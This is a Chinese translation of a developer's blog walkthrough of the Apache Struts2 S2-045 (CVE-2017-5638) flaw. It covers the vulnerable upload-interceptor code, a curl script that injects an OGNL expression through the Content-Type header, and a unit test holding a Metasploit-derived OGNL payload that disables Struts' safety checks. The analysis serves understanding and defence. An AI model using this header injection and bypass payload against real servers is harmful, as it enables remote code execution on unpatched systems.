翻译自: https://blog.sqreen.io/in-code-we-struts/
翻译:聂心明

休斯顿,我们有一个严重的安全问题

哎,对一个严重问题的大多数公众报道是这样的:“这里有一个严重的问题,你应该赶快去升级ASAS,否则你家小猫咪就会死掉了,你的灵魂将被放在山上燃烧。”
如果你没有灵魂,也不在乎小猫,只要简单的把小猫换成“应用程序”,把“你的灵魂将被放在山上燃烧”换成“在凌晨4点钟打电话给正在休假的CEO”。
这篇文章的目的是:

我个人只在Struts2 项目组中呆了几天,因此我对Struts 不是很熟悉

当一个漏洞被爆出的时候,首先关注的问题是:

首先,我们从读cve的数据库( https://nvd.nist.gov/vuln/detail/CVE-2017-5638 )开始
安全问题会提交给一个叫cve(公共漏洞和暴露)的数据库中,很多安全事件会引用这个这个里面信息。
遇到漏洞首先要去查看这个漏洞的cvss(通用漏洞评分系统),它可以评估安全事件的严重程度。cvvs有10个等级,分数越高,影响越大。漏洞严重性要用cvss计算器( https://www.first.org/cvss/calculator/3.0 )来计算评分。
这个漏洞的cvss评分是10,所以这个漏洞可以让黑客rce。换句话说,黑客可以对能访问到的远程服务器执行任意代码。比如,攻击者可以反弹一个shell ( https://en.wikipedia.org/wiki/Shell_shoveling ) ,这样黑客不需要高级的黑客技术就可以得到一个服务器的console。
当然,当在某个组件中发现漏洞的时候,必须快速的升级软件,以避免收到漏洞的攻击。升级,说起来简单,但是有时候做起来却很困难,比如,如果你依赖一个非常老的库,但是这个库已经不再被支持了,或者你的客户需要你手动操作才能升级。

分析

从cve和Struts 的描述中得知 S2-045 ( https://cwiki.apache.org/confluence/display/WW/S2-045 )& S2-046 ( https://cwiki.apache.org/confluence/display/WW/S2-046 )所需要的条件

对比两个不同的版本,我们可以知道这个漏洞是怎样被修复的( https://github.com/apache/struts/compare/STRUTS_2_5_10...STRUTS_2_5_10_1
在此刻,你应该能更准确的评估你是否受到影响,比如,如果你启用了详细类加载并且运行你的所有代码之后没有加载受影响的类,你可以说你没有受到此次事件的影响。
回到代码,我们看到在FileUploadInterceptor.intercept(…)方法中只有几行的改变( https://github.com/apache/struts/compare/STRUTS_2_5_10...STRUTS_2_5_10_1#diff-28391d46e56bece9a7aba6eadd9f3080R257 ) 。第一眼看上去,明显已经没有什么东西了,这种漏洞很容易通过代码审查而不被注意到。
这里还有一个可用的 metaspoilt模块 ( https://github.com/rapid7/metasploit-framework ),这意味着我们可用直接利用它,而不需要明白它的原理。这非常有趣,除了总是使用别人的工具以外,你不会学到任何有价值的东西,只会利用这些东西就意味着你只是一个野外的脚本小子。

可用我们仍然会去借鉴这个漏洞的思路,让后面的路更好走。寻找漏洞是一项全职的工作。它需要时间,资源,远远超过我们这些普通开发者的预期的知识。
换句话说,利用那些已经被前人发现的漏洞的时候,你获得了操纵星空的能力,但是失去了成为优秀天文学家的技能。
多说无益,让我们看代码!
我们不是Struts的专家,但是我们可以用一个简单的例子来开始。
这里,有一个官方的”file-upload“的例子似乎可以拿来用一下。
你可以使用git,maven和JDK去安装和运行它。

git clone https://github.com/apache/struts-examples
cd struts-examples/file-upload

不要管pom.xmlstruts2.version直接添加<properties>标签:

<struts2.version>2.5.10</struts2.version>

把这个项目编译成maven app: mvn clean install
这个简单的应用要用到Jetty 插件:mvn jetty:run
现在你应该能打开http://localhost:8080/file-upload/
如果我们把Struts 的版本从2.5.10升级到2.5.10.1,我们可以用mvn dependency:tree,这个指令只改变struts-core

对于这个漏洞有两个很重要的点:

OGNL ( https://commons.apache.org/proper/commons-ognl/language-guide.html )是一种基于表达式的语言,Struts 用它访问HTML模板中的对象,在一些场景中也可以执行代码。
漏洞来自于这两个相互通信的部分,用户输入的直接被注入到OGNL解析器中,因此可以执行任意代码。

第一步:注入头部并且可以到达OGNL 解析器中

在这一步中,我们要找到能够触发漏洞的代码,这段代码现在已经被移除了: intercept(…) ( https://github.com/apache/struts/blob/f0f4e9ece77000e0eb0071bf233ed4b9bc9c8205/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java#L237 )函数 中的 LocalizedTextUtil.findText(…) ( https://github.com/apache/struts/blob/f0f4e9ece77000e0eb0071bf233ed4b9bc9c8205/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java#L264

// intercept(...) method from Struts 2.5.10
// https://github.com/apache/struts/blob/f0f4e9ece77000e0eb0071bf233ed4b9bc9c8205/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java#L264

    public String intercept(ActionInvocation invocation) throws Exception {
        ActionContext ac = invocation.getInvocationContext();

        HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);

        if (!(request instanceof MultiPartRequestWrapper)) {
            if (LOG.isDebugEnabled()) {
                ActionProxy proxy = invocation.getProxy();
                LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
            }

            return invocation.invoke();
        }

        ValidationAware validation = null;

        Object action = invocation.getAction();

        if (action instanceof ValidationAware) {
            validation = (ValidationAware) action;
        }

        MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

        if (multiWrapper.hasErrors()) {
            for (LocalizedMessage error : multiWrapper.getErrors()) {
                if (validation != null) {
                    validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
                }
            }
        }

        // ...

找到这个条件最方便的方法是用最自己喜欢的IDE去调试:

经过不断的实验和报错,你应该找到触发漏洞的两个条件:

MultipartRequest 有两种实现形式,仅仅有一种添加了这种错误:它在JakartaMultiPartRequest.parse(...)

public void parse(HttpServletRequest request, String saveDir) throws IOException {
        try {
            setLocale(request);
            processUpload(request, saveDir);
        } catch (FileUploadException e) {
            LOG.warn("Request exceeded size limit!", e);
            LocalizedMessage errorMessage;
            if(e instanceof FileUploadBase.SizeLimitExceededException) {
                FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;
                errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});
            } else {
                errorMessage = buildErrorMessage(e, new Object[]{});
            }

            if (!errors.contains(errorMessage)) {
                errors.add(errorMessage);
            }
        } catch (Exception e) {
            LOG.warn("Unable to parse request", e);
            LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});
            if (!errors.contains(errorMessage)) {
                errors.add(errorMessage);
            }
        }
    }

幸运的是(或者也是漏洞原理),当我们试图用OGNL 表达式注入HTTP头部的时候,因为Content-Type值是无效的导致错误被触发。
方便的是,这里有一个简单简单的脚本可以让攻击者用curl触发这个漏洞。这个HTTP头部触发了漏洞,但是没有尝试RCE。

#!/bin/bash
header="%{('multipart/form-data')}"

file1=$(tempfile)
file2=$(tempfile)

# we have to upload multiple files
curl http://localhost:8080/file-upload/upload.action \
-F upload=@${file1} \
-F upload=@${file2} \
-v \
-H "Content-type: ${header}" \

rm ${file1}
rm ${file2}

当我们试图去执行这个请求的时候,服务器端的一个错误被触发。 在调试过程中我们可以看到LocalizedTextUtil.findText(...)被调用。

我们现在可以看到defaultMessage参数中包含注入的头的值。恭喜你!我们终于到了第一步的结尾!如果阅读java文档中关于这个函数的说明,你会发现当没有找到本地化健值的话,就会调用OGNL 表达式去求值。

第二部:在OGNL中触发代码执行

从上一步来看,我们知道LocalizedTextUtil.findText(...)中参数defaultMessage的值如果是OGNL表达式的话,就会触发OGNL表达式代码执行。因此,我们只要找到一个合适的表达式就可以执行任意代码。

更方便的方式是,我发现可以把OGNL表达式快速的添加到项目的单元测试中。看了很多表达式漏洞的利用代码之后,我有了很多灵感去发现我想找的东西。
为了解决OGNL 表达式执行中需要的变量和对象,我们挖掘Struts 的源码,最后发现XWorkTestCase这个类可以提供大多数代码执行所需要的环境。

package io.sqreen.sandbox;

import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.TextProvider;
import com.opensymphony.xwork2.XWorkTestCase;
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
import com.opensymphony.xwork2.ognl.OgnlUtil;
import com.opensymphony.xwork2.ognl.OgnlValueStack;
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
import com.opensymphony.xwork2.util.CompoundRoot;
import com.opensymphony.xwork2.util.LocalizedTextUtil;
import com.opensymphony.xwork2.util.ValueStack;
import ognl.PropertyAccessor;
import org.junit.Test;

import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import java.util.stream.Collectors;
import java.util.stream.Stream;

public class TestOgnl extends XWorkTestCase {

    private OgnlUtil ognlUtil;

    @Override
    public void setUp() throws Exception {
        super.setUp();
        ognlUtil = container.getInstance(OgnlUtil.class);
        assertNotNull(ognlUtil); // first step : being able to initialize OgnlUtil class
    }

    @Test
    public void testBasicOgnl() {
        setupContext(true); // we start with safety checks disabled
        // check very basic behavior : an unknown localized key is returned as-is
        assertEquals("hello", getMissingLocalizedText("hello"));
    }

    @Test
    public void testGetSystemProperty_easyMode() {
        // still with safety checks disabled, we try to get a system property from OGNL expression
        setupContext(true);
        assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
    }

    @Test
    public void testGetSystemProperty_staticMethodDisabled() {
        // with safety checks, we arent able to get a system property
        setupContext(false);
        assertEquals("", getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
    }

    @Test
    public void testGetSystemProperty_bypassStaticMethodCheck() {
        // here we reuse the available exploit to bypass safety checks.
        // once this works, we have a malicious payload !
        setupContext(false);

        String ognl = Stream.of(
                //
                // this is disabling OgnlUtil static method access, directly taken from metaspoilt exploit
                // here equivalent to executing in plain java :
                //
                // ognlUtil.setAllowStaticMethodAccess(Boolean.toString(true));
                //
                "(#[email protected]@DEFAULT_MEMBER_ACCESS).",
                "(#_memberAccess?",
                "(#_memberAccess=#dm):",
                "((#container=#context['com.opensymphony.xwork2.ActionContext.container']).",
                "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).",
                "(#ognlUtil.getExcludedPackageNames().clear()).",
                "(#ognlUtil.getExcludedClasses().clear()).",
                "(#context.setMemberAccess(#dm)))).",
                //
                // what we expect as output
                "(@java.lang.System@getProperty('os.name'))"
        ).collect(Collectors.joining());

        assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{" + ognl + "}"));
    }

    private void setupContext(boolean allowStaticMethodAccess) {
        ValueStack valueStack = createValueStack(allowStaticMethodAccess);

        Map<String, Object> contextObjects = new HashMap<>();
        ActionContext actionContext = new ActionContext(contextObjects);
        actionContext.setValueStack(valueStack);


        // action context is stored in a thread-local
        ActionContext.setContext(actionContext);
    }

    private String getMissingLocalizedText(String defaultMessage) {
        System.out.println(String.format("payload : %s", defaultMessage));
        return LocalizedTextUtil.findText(TestOgnl.class, "text_that_does_not_exists", Locale.getDefault(), defaultMessage, new Object[0]);
    }


    private OgnlValueStack createValueStack(boolean allowStaticMethodAccess) {
        OgnlValueStack stack = new MyValueStack(
                container.getInstance(XWorkConverter.class),
                (CompoundRootAccessor) container.getInstance(PropertyAccessor.class, CompoundRoot.class.getName()),
                container.getInstance(TextProvider.class, "system"), allowStaticMethodAccess);
        container.inject(stack);

        // we have to set stack container
        stack.getContext().put(ActionContext.CONTAINER, container);

        ognlUtil.setAllowStaticMethodAccess(Boolean.toString(allowStaticMethodAccess));
        return stack;
    }

    // we need to subclass because of protected OgnlValueStack constructor
    // note that we could also have moved this test class to the same package to avoid this
    private class MyValueStack extends OgnlValueStack {

        public MyValueStack(XWorkConverter xWorkConverter, CompoundRootAccessor compoundRootAccessor, TextProvider textProvider, boolean allowStaticMethodAccess) {
            super(xWorkConverter, compoundRootAccessor, textProvider, allowStaticMethodAccess);
        }
    }
}

OgnlUtil 类中的setAllowStaticMethodAccess函数和setExcludedXXX函数提供了大量安全检查,目的是为了阻止执行那些已知的可以造成安全隐患的类和函数。可是,因为这些集合是可变的,所以任意代码可以通过调用OgnlUtil的初始化代码很容易的禁用他们。
现在我们可以攻击任何东西了,只要使用一些像curl那样基本的http客户端工具就行了。可以参考 https://gist.github.com/SylvainJuge/cd1b5c875ed27e6374e63caa550af813 这个例子

我们从中可以学到什么呢?

在事后看来,一旦你了解其中的原理,这些就变得很容易了。但是还是会有很多安全事件会发生,因为许多分开的东西(可能永远不会在一起)以一种意想不到的方式连接在一起。作为开发者我们应该保持谦虚和包容,这样才能准确的处理所有的问题。
虽然可以通过花一点时间,修改几行代码来修复漏洞,但是谁都无法保证这个问题会再次发生。如果Struts (或者其他的web框架)是超人的话,那么OGNL 可能就是氪星石,把他们放在一起就可能会有危险。

虽然,OGNL 有一些安全问题,但是他不会被轻易的禁用。可以用白名单的方式去避免一些安全问题,但是,有一些表达式可以关掉白名单。如果使配置不可变,那么就可以避免绝大多数的攻击事件,有一件确定的事情就是 Effective Java ( http://www.mypearsonstore.com/bookstore/effective-java-9780134685991 )的读者注意了,如果你还没有读这本书的话,请在此处阅读并下载这本书。

这篇文章的长度快赶上一篇短篇小说了,我希望你能喜欢Equifax 这个以发布安全政策而闻名的快讯。

确保应用安全始终是不变的目标,写这篇文章的时候,漏洞已经公开一年了,并且已知的Struts 漏洞列表已经变得非常长了:CVE-2017-12611, CVE-2017-9804, CVE-2017-9805, CVE-2017-9787, CVE-2017-5638, CVE-2018-1327, CVE-2017-15707, CVE-2017-7672, CVE-2017-9793

关于我

Sylvain 是Sqreen 的软件工程师,他喜欢删代码,喜欢维护老的java代码,喜欢奶酪。

源链接

Hacking more

...